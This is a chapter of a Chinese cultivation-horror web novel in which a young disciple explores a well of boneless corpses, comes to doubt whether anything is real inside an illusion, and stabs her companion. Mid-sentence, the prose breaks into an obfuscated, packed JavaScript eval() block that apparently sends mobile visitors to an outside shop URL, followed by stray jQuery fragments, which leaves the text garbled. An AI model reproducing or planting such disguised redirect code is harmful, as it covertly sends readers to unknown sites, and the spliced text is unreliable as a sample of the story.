虞生正做着准备要下井,可她忽然发现这里没有绳子。
这口井显然是荒废多年了,别说是绳子,就连打水的桶都在角落风化得不成样子,一碰就能碎成渣子。
“有绳子吗?”她问道。
一旁一只沉默的手递来了一条麻绳。
虞生接过后开始往自己的身上绑,绑着绑着,她突然意识到了什么,一脸古怪地回头看向那站在旁边双手抱胸一脸事不关己又噙着不怀好意的笑容的谢影安。
她问道:“你哪儿来的绳子?”
谢影安笑了笑:“秘密。你当这是个戏法好了,身为戏法大师,变条绳子还是轻而易举的,不是吗?”
“……”
虞生无语道:“戏法大师?少往自己脸上贴金了,你那叫恶作剧,低劣的很。”
谢影安挑了挑眉,并不否认,只道:“师妹谬赞了,不过若是恶作剧,我想这天下第一还得是三师兄。”
他们的三师兄萧踏樱是临仙宗出了名的爱恶作剧的顽劣小子,宗门上下,无论外门内门,除了五位掌门和他们的大师兄二师姐外,其余人全都被他捉弄过。
一开始他玩得最凶的是对着四师弟离潼关和五师妹白谪,但后来新来了三个师弟师妹,他便将矛头一转,转而开始对着虞生和蝶月恶作剧。
至于谢影安,这个小师弟主动拜他为师,他深感欣慰,认为这是一个可塑之才,便对他多了几分关照,少了几分捉弄。
不过呢,新入门的师弟师妹里,虞生是个呲牙必报的,他每每对着她恶作剧完后,都会遭到她的猛烈报复,其中不乏引着他们的师父来亲眼见证他的恶行,然后将他狠狠责罚一通,那心机可谓是深不可测。
而蝶月,她就是个受气包类型了,无论自己怎样捉弄,她都不会找上门来。
因为他把锅全都甩给了谢影安,自己美美隐身了。
小徒弟就是用来背锅的,他丝毫没有愧疚之心,反正谢影安也没什么怨言,反倒觉着这样挺有意思。
“你抓着绳子,先把我放下去,等会儿你让四师兄把你放下来,绳子不要给谢影安,知道吗?”虞生低声提醒着蝶月。
“喂喂喂,七师妹,我可听得见,你这般揣测师兄,师兄好难过的。”谢影安故作伤心地道,然后收获了虞生一个大大的白眼。
她倒不是担心谢影安会在这种时候对着蝶月下杀手,只是觉得他会闲的没事儿干去捉弄蝶月,比如晃绳子,故意让她撞在井壁上面。
这个人十分不要脸,对着小姑娘也是手下不留情,不懂什么叫怜香惜玉,和那三师兄萧漓一个样。要把蝶月放在他的手里,她实在是不放心。
“我下去了,等会儿我拽三下绳子,你就可以把绳子收上去,然后下来了。”虞生说着,又忍不住提醒了一遍,“千万不要把绳子给谢影安。”
她对着蝶月说完,又转头看向了离潼关,道:“四师兄。”
“懂,我懂!”离潼关立马应声,“你放心师妹,我是绝对不会把绳子交给其他人的!”
听他如此说,虞生也不敢完全放心,但她除了口头说说警告一下,也不能再做些什么了,便只好回头,接着往井里一跳。
她在下井时拿了蝶月一张点火符用来照明,并观察着井壁。
密密麻麻的爬满了虫子。
“……”
忍住心中恶心,她开始祈祷离潼关一定要抓稳绳子好好放,千万不要让蝶月碰到了这些玩意儿。
过了不久,她闻到一股恶臭,并且这臭味愈发浓烈。
等她的双脚踩到了实物的时候,她一下就陷了进去。
应当是站在了已腐烂的尸体上。
下井之后,她便将绳子解下,并拉了三下。等待绳子被收回时,她便就着符纸燃出的光看着四周,以及脚下的尸体。
这里的尸体很多,密密匝匝堆了一条上方瞧不见的横穿的道。
她忍着恶臭下手摸了一下,然后便发现这些人,全都是没有骨头的。
白骨……
虞生发觉自己有个地方想错了。
不是那尸傀儡为了让里面怨魂出去而击碎的石头,或者说,他们做的不仅仅只是这样。
他们还杀了很多人,将这些人的骨头都挖出来,然后将尸体抛入井中,再掩耳盗铃般用石头盖住。
但问题是,他们本就不是活物了,身上都是一股死阴之气,也不会吸引到怨魂,那为什么还要多此一举给这口井盖上石头呢?
除非杀人的不是死物,而是活物。
是鬼修?
不,可是鬼修在修行之时就已经是死人了,只有死人才能修习鬼域之法,怎么可能会有活人呢?
虞生感觉自己陷入了一个死循环,怎么想也想不出个所以然来。这些人的身上也没有骨头,蝶月的“问骨”也发挥不了作用。
上方离潼关已经动作尽量温柔地将蝶月放了下来,她在双脚一触及到脚下尸体的时候,便皱眉道:“没有骨?”
只是踩一下就能知晓……虞生在心里暗暗惊讶了一下。
“是,都没有骨。”
“会是那个黑衣女人干的吗?”蝶月问道。
“黑衣女人?”虞生怔了一下。
“就是刘二记忆中的,那个疑似可以操纵骨头的女人。”
“……”
虞生沉默了一下后,还是说道:“蝶月,我须得提醒你,你现在最好不要相信这里的任何东西。如果我们真的在米满香时就被施了幻术,那之后所发生的一切就都该是幻觉,那三个人也许就是刻意在那一头交谈叫我们听见的。就连现在,我们说不定也仍旧存在于幻觉之中,你明白吗?”
“你是说,他的记忆是假的?”
虞生没有说话,蝶月却道:“这是不可能的。”
她摇着头:“我不可能问到幻觉中的骨,我问的须得是真骨。真骨有魂,是骨魂,与人的灵魂不同。人的灵魂能入地府,但它们是无法与骨头分离行至另一世界的,它们只会附着在骨头上,直至骨头泯灭。”
“这样吗……那,你的记忆呢?”
“我的……记忆?”
蝶月的身子突然僵住了,整个人愣在原地。
“回想一下,你先前看见的那刘二的记忆。”虞生手上举着一张燃烧的符纸照亮前方,一边往前走一边道。
“刘二的记忆……”蝶月微微垂头,陷入沉思。
白骨,女人,疯了杀全家……然后是什么?她应该还看见了什么东西才对,但她好像,怎么也想不起来了。
“你还记得那个女人的脸吗?”虞生突然问道。
“那个女人的脸,应该记得,她……她长得是……”蝶月的话音戛然而止了,默了许久后,她才道,“不,我不记得了。”
“再往前呢?那个女人的脸之前,你看见了什么?”
“我……”蝶月脸上的表情有些呆滞。
她忽然什么都不记得了,就连那段回忆都在脑袋里全部消失。
“看来是越回想越会忘却,”虞生神情肃穆地道,“这件事情不简单,这个也许对我们施加了幻术的人的实力很强。”
“……我们会死吗?在幻术中。”蝶月有些害怕地问道。
“这是自然的。“虞生道,“幻术中不代表不死,只是会死得无知无觉。”
“那我们能意识到我们正在死亡吗?”
“……”
虞生停下了脚步,转头就着火光看着那张淡雅的脸。
蝶月眼中明明灭灭的火光看着略显诡异。
“什么意思?”
“如果我们正在死亡,正走在死亡的路上,你意识的到吗?”
虞生的眼神变了变,她几步靠近蝶月,脸对着脸,却感受不到对方吐息之时的热气。
瞬间,她与对方拉开距离,并同时拔出“望舒”指向其咽喉。
“她在哪儿?你是谁?”
“她正在走向死亡的路上。”
蝶月直勾勾地盯着虞生,嘶哑着嗓子说道,“你也一样。”
此句话落,女孩突然失去了生息般垂下了头。
虞生的胸膛起伏着,尽管她尽己所能去控制,却仍然无法让自己冷静下来。
“……蝶月?”
“……”
虞生试探着朝前伸出手,而在她将要触及那张脸时,蝶月突然抬头——
她的眼神恢复了正常,是蝶月的眼睛。
“你怎么了?”蝶月眉头微蹙,“你瞧着有些不大对劲。”
“你忘了?”
“忘了什么?”
“……没什么。”虞生转头看向这条井下通道,却迟迟没有往前迈出下一步。
“怎么不走了?你真的没事吗?你的脸色看起来好差。”
“真的没事,走吧。”
虞生继续朝前走了。
她一边走,一边出神地想着自己是否该就此停下,或许前面有着能要人命的危险,她不该带着蝶月去闯。
“望舒”给她的提示也许是错误的。
她既在幻术中,那”望舒”也有可能欺骗她。
她内心犹豫挣扎,脚步却是没有停下,好像思想和□□分离割裂了,无法做出同步。
所幸,她没有煎熬太久,这条通道到头了。
前方还是尸体,无骨的尸体堆满了整条通道直至尽头。
“除了尸体,这儿什么也没有。”虞生无声叹息了一下。
她突然变得有些茫然了。
她在做什么?在寻找什么?在探索什么?她做这些又是为了什么?她接下来又该去干什么?
脑子里像是充满了一片浆糊。
她的思想正在一步步走向混乱。
不行,不行,要理智,要清醒过来……
她是临仙宗的弟子,她到了豆蔻年华,该下山去历练,她该助百姓行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690067|207885||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
善事。
她现在在调查一起事件,多人失踪,已经疯掉杀了全家后又自杀的刘二。
还有,白骨,黑衣女人,血月下的触手。
“……”
她脑子里又崩了一根弦。
这个白骨吃人的事件是从米满香里听来的,而依据她的推理,他们当时在酒楼里便已经中了幻术,周围一切也许都已不是真实的。
那……这个案件是真实的吗?
白骨,黑衣女人,刘二……这些都是真的吗?离潼关、谢影安是真的吗?蝶月是真的吗?她自己又是真是假?
她分不清了。
“虞生?”
发觉同伴正在出神,蝶月拍上了她的肩,却未曾想虞生突然反应激烈地拍开了她的手,猛然转头看向她的眼神中充满了恐惧与……不信任。
蝶月被她的这副模样吓到,又或许是被她眼神中带有的不经意的抗拒伤到,站在原地愣了会儿,才艰难开口道:“你怎么了?”
“……”
意识到自己方才不正常的举动,虞生略有些懊恼,她侧首出了口气让自己恢复镇定后,才回过头对着蝶月道:“我没事,这里什么也没有,我们快出去吧。”
“可,我们还没看壁上,这种地方为了镇压阴气,一般都会用特殊的利器在壁上刻下些东西,或是用血写下些东西来作为符咒。以这种形式施法的符咒威力很强,比纸上符箓要强得多,甚至可能需要经上百年才能消散,如若我们现在便走,我们兴许要错过很多东西的。”
蝶月看着虞生,眼中有些不理解的神情,她想掩盖,但年岁摆在那儿,她没经验,掩盖不了,最后只能颦着眉忧心地道:“也许会错过有价值的东西……”
虞生垂了垂眼婕,睫毛阴影投下能很好地掩盖住她的眼神。
“很危险。”她道。
“危险?为何?我们这一路走来也没有发生任何事。”
“只是脚下无事,万一石壁上有些什么呢?”
听了方才“蝶月”的那一句话,虞生此时已安不下心来,只想要快些离开。
虽然她不知道自己出井后会不会被可能已经被掉包的离潼关和谢影安埋伏一击,但她就是想出去。
她是个很容易迷失在胡思乱想中的人,所以阿姐常将她抱在怀里告诉她,要她放空自己的脑袋,让里面什么都不装。
她要什么都不想,等脑袋变成一片空白后,才能一点一点,从重至轻去抓那些散落的思绪塞回脑子。
可人怎么能控制自己的想法呢?人怎么能清空自己的脑袋呢?
虞生感到很不解,至少她是做不到让自己的脑袋变成空空如也的。
她总是做不到把思绪赶跑,所以她的阿姐就换了一种方式。
她曾教她,如果在迷茫时,就给自己的思想加一个执念,就像航海时船只定下一个锚,这个锚很关键,能带她回家,能指引她接下来的路该如何去走,何去何从。
她在下井前就给自己定下了一个锚。
要回去。
回哪儿去她不知道,但至少不要一直被困在井底,至少要看见天空。
她看向了蝶月,眼中神情变为了柔情与劝告:“如果真如你所言,壁上有那些符箓,那我相信至少在现在,它们还未失去效力。兴许有触发力量的东西。”
她说着摇了摇手中烧灼的符纸:“也许就是火光。”
蝶月看着她没有说话,随后突然一把夺下了她手中符纸,接着猛地往身侧石壁上一扔。
“蝶月!你疯了?!!”虞生错愕地看着眼前的人。
“是你疯了!你没发现自己变得很怪吗?你知道你现在是谁吗?!”
“我?我是我!我是虞生!虞无卿!你要我变成什么?”
“不是我要你变成什么,是你自己!你把你自己变成了谁?你不信任我!你觉得我是什么?我是幻术吗?那你信任四师兄吗?你信任谢影安吗?”
“我没有不信你!”
“你有!是你自己说过的,你的眼神会暴露一切!”
“……”
周围火光腾起,虞生在其中却感受不到炽热。
修仙者可用灵气包裹自身,隔绝对外界天气变幻的感知,因而不怕冷不怕热。
但虞生灵气不足,她也未动用“望舒”的灵力,是无法让自己稀薄的灵气包裹住全身的。
可是她感受不到火焰滚烫。
她看着蝶月,突然笑了。
“原来如此。”
蓦然,她眼神凌厉,一剑刺向蝶月咽喉。
蝶月未曾反应过来,她根本来不及举剑,便已见面前世界洒满鲜血。
“你……疯了……”
她倒在了地上,鲜血渗透下方尸体,变得无影无踪。
在她断气之时,虞生周围的一切突然开始扭曲起来,火焰不受控制四处摇摆着,而她站在其中,是唯一未曾模糊了形状的。